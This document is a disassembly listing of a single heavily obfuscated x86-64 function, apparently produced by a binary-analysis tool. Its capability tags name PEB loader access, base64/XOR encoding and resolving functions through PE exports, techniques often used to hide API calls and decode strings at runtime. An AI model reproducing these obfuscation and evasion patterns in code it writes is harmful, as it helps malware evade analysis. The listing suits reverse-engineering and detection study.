Function at 0x140290658
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x508]
sub rsp, 0x608
xor r14d, r14d
mov dword [rbp + 0x48], r14d
movabs rax, 0xef6b8305580de894
mov r8, qword [0x14035f070]
imul r8, rax
not r8
movabs rcx, 0xf7af647f1d13513a
mov rsi, qword [0x14035f060]
mov rax, rsi
xor rax, rcx
and r8, rax
ror r8, 0x17
shr r8, 8
movabs rax, 0x3ce2c94747fc9b38
mov r9, qword [0x14035f088]
imul r9, rax
movabs r13, 0x73429f23b30a47a8
add r9, r13
movabs rax, 0xe116a7b47fffffff
xor r9, rax
shr r9, 0x1f
not r9
movabs r10, 0x8cbd60dc4cf5b858
lea rcx, [r9 + r10]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdx, [0x14035f060]
movzx eax, r9b
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xdf
mov r15d, 0x8000003f
and ecx, r15d
jge 0x140290745
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r9
ror rdx, cl
not rdx
movabs rax, 0xba20f9e1bd38f628
mov rdi, rdx
imul rdi, rax
lea rbx, [rdi + r10]
mov r10, r9
imul r10, r8
sub r10, rbx
movabs rax, 0xf4b8054ab659c1cb
xor r10, rax
movzx ecx, bl
and ecx, 0xf
and ecx, r15d
jge 0x14029078c
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
mov rax, rbx
sub rax, qword [0x14035f078]
xor r10, rax
movabs rax, 0x930e4f6e8f36a240
imul rdx, rax
movabs r12, 0x19a9a88e9d2e9e40
sub rdx, r12
xor r10, rdx
movabs rax, 0x8509b80e6201626
xor r10, rax
mov r11, r10
imul r11, qword [0x14035f080]
and r11, rsi
xor r11, rax
ror r11, 0x26
imul r11, rbx
not r8
imul r8, r9
movabs rax, 0x7cd8a7de79a6c322
imul r8, rax
imul rbx, rsi, 0xfffffffffb33471c
mov rdx, qword [0x14035f068]
sub rbx, rdx
mov al, r8b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, r15d
jge 0x14029081f
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
lea rcx, [rdi + rbx]
imul rcx, r13
sub rcx, r12
movabs rax, 0x73429f23b30a47a7
sub rax, rdi
imul rcx, rax
imul rcx, r10
movabs rax, 0xf5ed7e878e5e8333
xor r9, rax
not r9
xor rcx, r9
xor r11, r8
imul r11, rsi
sub rcx, r11
call fcn.1400013f0
mov qword [0x14036d9d8], rax
mov dword [rbp - 0x80], r14d
mov dword [rbp - 0x80], 0xc74e84c4
mov eax, dword [rbp - 0x80]
add eax, 0x374f91b5
xor eax, 0x2709c954
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5a0b7db3
xor eax, 0x416dc9b5
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x506c0ea3
add eax, ecx
xor eax, 0x28e9b7d7
add eax, 0x45164a7b
xor eax, 0xa59471da
lea edx, [rcx - 0x6f081057]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd8dd3c9a
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0x2722c365
add eax, 0x5df28ab4
add eax, edx
xor eax, 0x96e636c2
mov dword [rbp - 0x7c], eax
mov dword [rbp - 0x80], eax
mov dword [rbp - 0x78], r14d
mov dword [rbp - 0x78], 0xbb51be10
mov eax, dword [rbp - 0x78]
add eax, 0x22d5e0b4
xor eax, 0x7608b4da
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x56ce10a0
xor eax, 0x5a39617a
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x47b73e68
add eax, ecx
xor eax, 0x644485bc
sub eax, 0xc5f068a
xor eax, 0xb7d9ee29
lea edx, [rcx - 0x621db32d]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd48b55d6
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0x2b74aa29
add eax, 0x27b9976c
add eax, edx
xor eax, 0x6848db46
mov dword [rbp - 0x70], eax
mov dword [rbp - 0x78], eax
mov dword [rbp - 0x68], r14d
mov dword [rbp - 0x68], 0x2a6b32a2
mov eax, dword [rbp - 0x68]
add eax, 0xc3d49930
xor eax, 0x2e8555d9
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x334ef336
xor eax, 0xc6b6ae1c
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x1b2d7afd
add eax, ecx
xor eax, 0x3ca1fb4f
add eax, 0x1fe5f2fd
xor eax, 0xa37589f5
lea edx, [rcx + 0x654a8b62]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xc70f50b8
sub edx, eax
mov eax, dword [0x14035f030]
xor eax, 0x38f0af47
add eax, 0xbe38b4c1
add eax, edx
xor eax, 0x99ed2b08
mov dword [rsp + 0x68], eax
mov dword [rbp - 0x68], eax
mov dword [rbp - 0x64], r14d
mov dword [rbp - 0x64], 0x4d2cf9c9
mov eax, dword [rbp - 0x64]
add eax, 0x84089fb6
xor eax, 0x350b160d
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5df1a8dd
xor eax, 0xef81d77c
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x8cc6dc21
add eax, ecx
xor eax, 0xad66a3de
add eax, 0x56f60843
xor eax, 0x8f2d8512
mov r13d, dword [0x14035f030]
xor r13d, 0x21efdf2d
sub r13d, eax
mov eax, dword [0x14035f038]
xor eax, 0xde1020d2
sub r13d, eax
sub r13d, ecx
add r13d, 0x48af6d67
xor r13d, 0xcb7ab2ea
mov dword [rsp + 0x70], r13d
mov dword [rbp - 0x64], r13d
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x250], 0x70363b45
mov dword [rbp + 0x254], 0x29d186da
mov dword [rbp + 0x258], 0x3b76cc84
mov dword [rbp + 0x25c], 0x9543f445
mov dword [rbp + 0x260], 0x6b031220
mov dword [rbp + 0x264], 0x5711edbd
mov dword [rbp + 0x268], 0x8a6377f
mov eax, 0x4f4d
mov word [rbp + 0x26c], ax
mov r12, r14
mov r13d, 0x6afe
movabs rcx, 0x13cce94adbcbefc8
xor edx, edx
mov rax, r12
div rcx
lea r14d, [rdx + 0x33]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [rbp + r12*2 + 0x250]
sub r10w, si
add r10w, r13w
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14035f058]
sub r10w, word [0x14035f050]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, word [0x14035f048]
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
mov r13, qword [0x14035f040]
sub r10w, 0x50
add r10w, r13w
add r10w, r11w
add r10w, si
movzx eax, r8w
sub ax, r9w
add ax, si
add ax, r15w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov ecx, 0x4050
sub r11w, cx
add ax, r11w
xor r10w, ax
movzx edx, r15w
xor dx, word [0x14035f030]
sub dx, r10w
movzx eax, bx
xor ax, word [0x14035f038]
sub dx, ax
mov eax, 0x7100
add eax, r15d
mov ecx, 0x2440
xor ax, cx
sub dx, ax
mov eax, 0x9d7
add eax, r15d
add ax, ax
add dx, ax
sub dx, r14w
sub dx, r13w
sub dx, di
sub dx, si
movzx eax, r15w
movzx ecx, bx
imul ecx, eax
xor cx, dx
mov word [rbp + r12*2 + 0x250], cx
inc r12
cmp r12, 0xf
jb 0x140290ae2
lea rax, [rbp + 0x250]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 0x1e
mov rsi, qword [rbp + 0x150]
mov qword [rsp + 0x78], rsi
xor r14d, r14d
mov qword [rbp + 0x50], r14
movabs rax, 0x90b0e008fe6d7972
mov qword [rbp + 0x50], rax
movabs rcx, 0xf33a52b1311baf03
add rcx, qword [rbp + 0x50]
movabs rax, 0xd45536625304c320
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f4af8e20c
sub rcx, rax
movabs rax, 0xf8f8cd9d5bba7bf1
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654c022577cdd
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179ade3fce669
xor rcx, rax
movabs rax, 0x5f627dc652d079fc
sub rcx, rax
movabs rax, 0x663b3cd4c8d694d2
xor rcx, rax
movabs rax, 0x3483ce4974006729
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac4c46d10
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53b3b92ef
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d7a70c7e865
add rdx, rax
add rdx, rcx
movabs rax, 0xd35f8bbd8c44f1f0
xor rdx, rax
mov qword [rbp + 0x50], rdx
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x50], r14
mov dword [rbp - 0x60], r14d
mov dword [rbp - 0x60], 0x6560ef8e
mov dword [rbp + 0x48], 1
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x560], 0xda
lea edi, [r14 + 3]
mov dword [rbp + 0x48], edi
mov bl, byte [rbp + 0x560]
add bl, 0x38
xor bl, 0x3e
mov r10, qword [0x14035f050]
sub bl, r10b
mov r9, qword [0x14035f058]
sub bl, r9b
add bl, 0x15
xor bl, 0xe8
mov rcx, qword [0x14035f048]
sub bl, cl
mov r11, qword [0x14035f040]
sub bl, 0x7d
add bl, r11b
xor bl, 0xba
add bl, 0x77
xor bl, 0x49
sub bl, 0x59
add bl, r11b
not bl
mov r8, qword [0x14035f038]
mov al, r8b
xor al, 0xe4
sub bl, al
mov rdx, qword [0x14035f030]
mov al, dl
xor al, 0x1b
sub al, 0x76
add bl, al
xor bl, 0xc
mov byte [rbp + 0x560], bl
mov eax, dword [rbp - 0x60]
add eax, 0x3049deb5
xor eax, 0x7409c24e
sub eax, r10d
sub eax, r9d
sub eax, 0x59f66c9a
xor eax, 0x488f9381
sub eax, ecx
add eax, 0xd9f44b1d
add eax, r11d
xor eax, 0x30ec3803
add eax, 0x4113e90f
xor eax, 0x41178388
lea ecx, [r11 - 0x6833853c]
add ecx, eax
not ecx
xor r8d, 0xd8c125ce
sub ecx, r8d
xor edx, 0x273eda31
lea eax, [rdx + 0x417f5f68]
add eax, ecx
xor eax, 0x810da86e
mov dword [rbp - 0x60], eax
cdqe
movzx ecx, word [rsi + rax*2]
movsx eax, bl
cmp ecx, eax
jne 0x140290fe7
mov dword [rbp - 0x5c], r14d
mov dword [rbp - 0x5c], 0xf1014be0
mov dword [rbp + 0x48], 7
mov byte [rbp + 0x568], r14b
mov byte [rbp + 0x568], 0xe
lea edi, [r14 + 0xf]
mov dword [rbp + 0x48], edi
mov bl, byte [rbp + 0x568]
add bl, 0x3d
xor bl, 0x43
mov r10, qword [0x14035f050]
sub bl, r10b
mov r9, qword [0x14035f058]
sub bl, r9b
add bl, 6
xor bl, 0xcf
mov rcx, qword [0x14035f048]
sub bl, cl
mov r11, qword [0x14035f040]
sub bl, 7
add bl, r11b
xor bl, 0x9e
sub bl, 0x3b
add bl, r11b
not bl
mov r8, qword [0x14035f038]
mov al, r8b
xor al, 0xf8
sub bl, al
mov rdx, qword [0x14035f030]
mov al, dl
xor al, 7
sub al, 0x4e
add bl, al
xor bl, 0xc8
mov byte [rbp + 0x568], bl
mov eax, dword [rbp - 0x5c]
add eax, 0x32686fb5
xor eax, 0x509c46d
sub eax, r10d
sub eax, r9d
sub eax, 0x59fcc84d
xor eax, 0x4668883d
sub eax, ecx
add eax, 0x5713cd4a
add eax, r11d
xor eax, 0x2e815a9f
add eax, 0x41a46583
xor eax, 0xb8082a13
lea ecx, [r11 - 0x6a434045]
add ecx, eax
not ecx
xor r8d, 0xd8c9a012
sub ecx, r8d
xor edx, 0x27365fed
lea eax, [rdx + 0x4a401e2c]
add eax, ecx
xor eax, 0x6dbdeaa
mov dword [rbp - 0x5c], eax
cdqe
movzx ecx, word [rsi + rax*2]
movsx eax, bl
cmp ecx, eax
mov al, 1
je 0x140290fea
mov al, r14b
mov ecx, 8
test cl, dil
je 0x140291001
and edi, 0xfffffff7
mov dword [rbp + 0x48], edi
mov byte [rbp + 0x568], r14b
test dil, 4
je 0x140291011
and edi, 0xfffffffb
mov dword [rbp + 0x48], edi
mov dword [rbp - 0x5c], r14d
test dil, 2
je 0x140291024
and edi, 0xfffffffd
mov dword [rbp + 0x48], edi
mov byte [rbp + 0x560], r14b
test dil, 1
je 0x140291034
and edi, 0xfffffffe
mov dword [rbp + 0x48], edi
mov dword [rbp - 0x60], r14d
test al, al
je 0x1402910d1
mov dword [rbp - 0x58], r14d
mov dword [rbp - 0x58], 0xf68e5b51
mov eax, dword [rbp - 0x58]
add eax, 0x338fd0b5
xor eax, 0x6609c594
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5a003e70
xor eax, 0x453c89b9
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xd582d91e
add eax, ecx
xor eax, 0x2d306ffb
add eax, 0x43f55db7
xor eax, 0xaf747058
lea edx, [rcx - 0x6b628d9e]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd8ce3d96
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2731c269
add ecx, 0x4ee27fb0
add ecx, edx
xor ecx, 0xdaf8ee86
mov dword [rbp - 0x58], ecx
movsxd rax, ecx
lea rsi, [rsi + rax*2]
mov qword [rsp + 0x78], rsi
mov dword [rbp - 0x58], r14d
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x130], 0x71ef3f09
mov dword [rbp + 0x134], 0x29d886dc
mov eax, 0xcc5d
mov word [rbp + 0x138], ax
mov r12, r14
mov r13d, 0x6afe
xor edx, edx
mov rax, r12
movabs rcx, 0x13cce94adbcbefc8
div rcx
lea r14d, [rdx + 0x33]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [rbp + r12*2 + 0x130]
sub r10w, si
add r10w, r13w
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14035f058]
sub r10w, word [0x14035f050]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
sub r10w, word [0x14035f048]
sub r10w, 0x50
add r10w, r11w
mov rcx, qword [0x14035f040]
add r10w, si
add r10w, cx
movzx eax, r8w
sub ax, r9w
add ax, si
add ax, r15w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov edx, 0x4050
sub r11w, dx
add ax, r11w
xor r10w, ax
mov edx, 0x9d7
add edx, r15d
add dx, dx
sub dx, r10w
mov eax, 0x7100
add eax, r15d
mov r8d, 0x2440
xor ax, r8w
sub dx, ax
movzx eax, bx
xor ax, word [0x14035f038]
sub dx, ax
movzx eax, r15w
xor ax, word [0x14035f030]
add dx, ax
sub dx, r14w
sub dx, di
sub dx, si
sub dx, cx
movzx eax, r15w
movzx ecx, bx
imul ecx, eax
xor cx, dx
mov word [rbp + r12*2 + 0x130], cx
inc r12
cmp r12, 5
jb 0x140291102
lea rax, [rbp + 0x130]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 0xa
mov r8, qword [rbp + 0x160]
mov ebx, 0x12c
mov edx, ebx
lea rcx, [rbp + 0x2a0]
call fcn.1402b0258
nop
mov rcx, qword [rbp + 0x160]
xor edi, edi
test rcx, rcx
mov r13d, dword [rsp + 0x70]
je 0x140291334
mov eax, edi
cmp qword [rbp + 0x168], rdi
jbe 0x140291334
mov byte [rax + rcx], dil
inc rax
cmp rax, qword [rbp + 0x168]
jae 0x140291334
mov rcx, qword [rbp + 0x160]
jmp 0x14029131b
mov r9d, 0x100
mov r8, qword [rsp + 0x78]
mov rdx, rbx
lea rcx, [rbp + 0x2a0]
call fcn.1402b02c0
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x60], rdi
movabs rax, 0xa1e507a9974ff6eb
mov qword [rbp + 0x60], rax
movabs rcx, 0xf33a52b733bde203
add rcx, qword [rbp + 0x60]
movabs rax, 0x7553662530ac5c2
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f5d00c8a5
sub rcx, rax
movabs rax, 0xf8f8cd97410dc025
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654b7f9c450a2
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a708fbe43d
xor rcx, rax
movabs rax, 0x5f627dc67fe165f0
sub rcx, rax
movabs rax, 0xce3b3cd1c7556641
xor rcx, rax
movabs rax, 0x3483ce439b70a38e
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94adccef5dc
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b523310a23
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rbx, 0xe0b56d92539d7cb1
add rbx, rdx
add rbx, rcx
movabs rax, 0x4bee1da269023514
xor rbx, rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x2a0]
call fcn.140183a40
movzx ecx, bx
movzx edx, ax
imul edx, ecx
mov word [rbp + 0x170], dx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rdi
movabs rax, 0x94dcc852e78a1a46
mov qword [rbp + 0x68], rax
movabs rcx, 0xf33a52b6348b3583
add rcx, qword [rbp + 0x68]
movabs rax, 0x5ad536625309c68f
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80a5fccf61
add rcx, rax
movabs rax, 0xf8f8cd98443d3757
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654b9542d99ca
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a82c11b0ff
xor rcx, rax
movabs rax, 0x5f627dc6bbe9d75a
sub rcx, rax
movabs rax, 0x323b3cd246f6b616
xor rcx, rax
movabs rax, 0xb483ce4493a8ed57
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad8d22b2a
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5272dd4d5
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d8e52d3c87f
add rdx, rax
add rdx, rcx
movabs rax, 0x418c590b6efeb1f2
xor rdx, rax
mov qword [rbp + 0x68], rdx
movzx eax, word [rbp + 0x170]
add ax, dx
mov word [rbp + 0x172], ax
mov qword [rbp + 0x68], rdi
mov dword [rbp + 0x270], 0x30
mov dword [rbp - 0x54], edi
mov dword [rbp - 0x54], 0xf0ef91d4
mov eax, dword [rbp - 0x54]
add eax, 0x3784b2b5
xor eax, 0x4809c989
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5a0c1d16
xor eax, 0x4137d431
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xd023f057
add eax, ecx
xor eax, 0x28ad1e33
add eax, 0x46e166bf
xor eax, 0x9d79dfb1
lea edx, [rcx - 0x6f3bbd70]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd8de111e
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2721eee1
add ecx, 0x5ec5a338
add ecx, edx
xor ecx, 0xd5f4ef5e
mov dword [rbp - 0x54], ecx
movsxd rax, ecx
mov qword [rbp + 0x278], rax
mov dword [rbp - 0x54], edi
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x50], 0xdc68be04
mov eax, dword [rbp - 0x50]
add eax, 0x2d58ab38
xor eax, 0x408cbf5d
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x1d126700
xor eax, 0x3f8c8bcc
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb72b483
add eax, ecx
xor eax, 0xc84756be
sub eax, 0x35d330a5
xor eax, 0x5e7834d0
mov edx, dword [0x14035f030]
xor edx, 0x1b4a9eff
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xe4b56100
sub edx, eax
sub edx, ecx
add edx, 0x1205bf4d
xor edx, 0xcc899f00
mov dword [rbp - 0x50], edx
mov dword [rbp + 0x288], edx
mov dword [rbp - 0x50], edi
lea rax, [rbp + 0x170]
mov qword [rbp + 0x280], rax
mov dword [rbp - 0x4c], edi
mov dword [rbp - 0x4c], 0xfeb240a0
mov eax, dword [rbp - 0x4c]
add eax, 0x36837836
xor eax, 0xd8ac888
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x22f6e699
xor eax, 0x3e3d139a
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x36011b3f
add eax, ecx
xor eax, 0x5d284ec
sub eax, 0x7f5b883b
xor eax, 0xf1f284fb
mov edx, dword [0x14035f030]
xor edx, 0x2325f3cb
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdcda0c34
sub edx, eax
sub edx, ecx
add edx, 0x45fe7fdc
xor edx, 0xfa01093c
mov dword [rbp - 0x4c], edx
movsxd rax, edx
mov qword [rbp + 0x290], rax
mov dword [rbp - 0x4c], edi
mov qword [rbp + 0x298], rdi
movabs rsi, 0x6580057db75b6d36
movabs rax, 0x455b35175f03cb10
movabs r11, 0x471f9726b60d5bb9
movabs r10, 0x51ddda92305cb5a8
mov r15, qword [0x14035f070]
imul r15, rax
not r15
movabs rdx, 0xae22256dceb6cb7c
mov rax, qword [0x14035f060]
xor rax, rdx
and r15, rax
ror r15, 0x12
shr r15, 8
movabs rax, 0x12fc8c763dab9998
mov rbx, qword [0x14035f070]
imul rbx, rax
add rbx, r11
movabs rax, 0x7c410e2180000000
xor rbx, rax
shr rbx, 0x1f
not rbx
movabs r8, 0xb8e068d949f2a447
lea rcx, [rbx + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xb
and ecx, 0x8000003f
jge 0x140291811
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, rbx
ror rdx, cl
not rdx
movabs rax, 0xa28c703069bf1f20
mov r12, rdx
imul r12, rax
lea r9, [r12 + r8]
mov r8, rbx
imul r8, r15
sub r8, r9
xor r8, rsi
movzx r14d, r9b
mov ecx, r14d
xor ecx, 4
and ecx, 0xf
jge 0x140291852
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r9
sub rax, qword [0x14035f078]
xor r8, rax
movabs rax, 0x939c0628afcdde20
imul rdx, rax
movabs rax, 0x247078097da70bb1
sub rdx, rax
xor r8, rdx
xor r8, r10
mov rax, r8
movabs rcx, 0xd79435e50d79435f
and eax, 1
je 0x140291b79
sub rax, 1
je 0x140291a7d
sub rax, 1
je 0x1402919ab
cmp rax, 1
jne 0x140291bf8
mov rsi, r9
imul rsi, rbx
movabs rax, 0x434f77ce9bb14e5d
add rax, r8
xor rsi, rax
ror rsi, 0x28
shr rsi, 0xc
not rsi
movabs rcx, 0x8357229f5120
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xb862eda12076d5dd
xor rdx, rax
movzx eax, sil
movzx ecx, r8b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97a7fbde3
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r11
mov eax, 0xaba46f09
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x14035f060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs r11, 0xdd4cbdc320012cb6
sub r11, rsi
shr r11, cl
movabs rcx, 0xb8e88d61a312c40d
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
lea rdx, [0x14035f060]
imul rax, qword [rdx + rcx*8]
imul rax, r8
sub rax, r15
xor r11, rax
jmp 0x140291bf8
movabs rcx, 0xaaaaaa1aabbd9237
mov rbx, r8
xor rbx, rcx
movabs rcx, 0x1206ed69b04e7b
imul rbx, rcx
movabs rcx, 0xffff7e8a8dada0eb
imul r12, rcx
movabs rcx, 0x774d03b8e88ebc35
add rbx, rcx
add rbx, r12
movabs rax, 0x277cd7be796d4557
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rbx
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffffee844e7
lea ecx, [r8 - 0xb]
and cl, 0x3f
rol r9, cl
movabs rax, 0x4810104000000000
imul r9, rax
mov rcx, r9
ror rcx, 0x1c
not rcx
movabs rax, 0x9b2de6b2da071dc0
imul rcx, rax
mov rax, rbx
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, r11
mov r11, rdx
imul r11, rax
jmp 0x140291bf8
movabs rax, 0x54afb53d103ee3bb
imul r8, rax
mov rax, rcx
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x9a7ffa8248a492c9
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r14d, 0x8000003f
jge 0x140291ac9
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r10, cl
movabs rcx, 0xb8e068d949f2a447
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1726b60d5bb9
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f779e41a
or r10, rax
mov r11, qword [0x14035f070]
imul r11, rsi
sub r11, r9
mov rax, r15
sub rax, r10
xor r11, rax
movabs rax, 0xc7a7c6a6a671e417
xor r11, rax
mov rax, r8
imul rax, r9
imul rax, r11
mov rdi, rbx
sub rdi, rax
movabs rax, 0x78958946923a80d
add rdi, rax
xor rdi, r15
movzx eax, bl
imul ecx, eax, 0xf2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140291bf8
mov rcx, r8
imul rcx, qword [0x14035f080]
and rcx, qword [0x14035f060]
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x28
imul r10, r9
mov rdi, r15
not rdi
imul rdi, rbx
movabs rax, 0x7cd8a7de7b80b5f6
imul rdi, rax
imul r14, qword [0x14035f060], 0xfffffffffeea7ed4
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140291be5
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0xb8e068d949f2a447
add r15, r14
add r15, r12
movabs rax, 0xff055d7b8bcbbf3b
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rdi
lea rax, [0x14035f060]
imul r10, qword [rax + rsi*8]
not r9
imul r9, r8
imul r9, r15
imul r9, r11
